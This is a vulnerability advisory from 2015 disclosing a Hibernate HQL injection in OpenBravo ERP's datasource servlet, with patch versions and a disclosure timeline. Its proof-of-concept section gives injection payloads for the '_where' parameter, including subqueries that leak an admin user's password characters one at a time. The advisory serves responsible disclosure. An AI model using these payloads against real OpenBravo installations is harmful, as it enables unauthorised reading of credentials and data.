OpenBravo Hibernate HQL Injection

`Title: OpenBravo Hibernate HQL Injection  
Vulnerability Author: Sam Ng, HPE Software Security Research Team  
Vendor Patch: 3.0PR15Q3.4 and 3.0PR15Q4.1  
Vendor Reference: https://issues.openbravo.com/view.php?id=31577, http://wiki.openbravo.com/wiki/Release_Notes/3.0PR15Q3.4, http://wiki.openbravo.com/wiki/Release_Notes/3.0PR15Q4.1  
Exploitation Type: Remote, Login required  
  
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Overview:  
  
OpenBravo is an open source ERP Java application. A SQL Injection was found in the form of Hibernate HQL. One of the datasource servlet accepts a "_where" parameter from HTTP and uses it to create a dynamic HQL by string concatenation.  
  
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Proof of Concept (PoC):  
  
After login, click on the Alerts link, the browser will send a JSON request to http://<your_host>/openbravo/org.openbravo.service.datasource/ADAlert, change the _where parameter to  
  
// the following will return all records in ADAlert  
1=1  
  
// the following will return an empty resultset, no error  
(select substring(password,0,1) from ADUser where username='Openbravo')='x'  
  
// the following will throw an exception saying there are more than one row returned in the subquery  
(select substring(password,0,1) from ADUser where username!='Openbravo')='x'  
  
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Timeline  
  
2015/11/18 - Vendor notified via email  
2015/11/25 - Vendor confirmed the bug and working on a fix  
2015/12/10 - Vendor released 3.0PR15Q3.4  
2015/12/16 - Vendor released 3.0PR15Q4.1  
2015/12/21 - Public vulnerability release  
`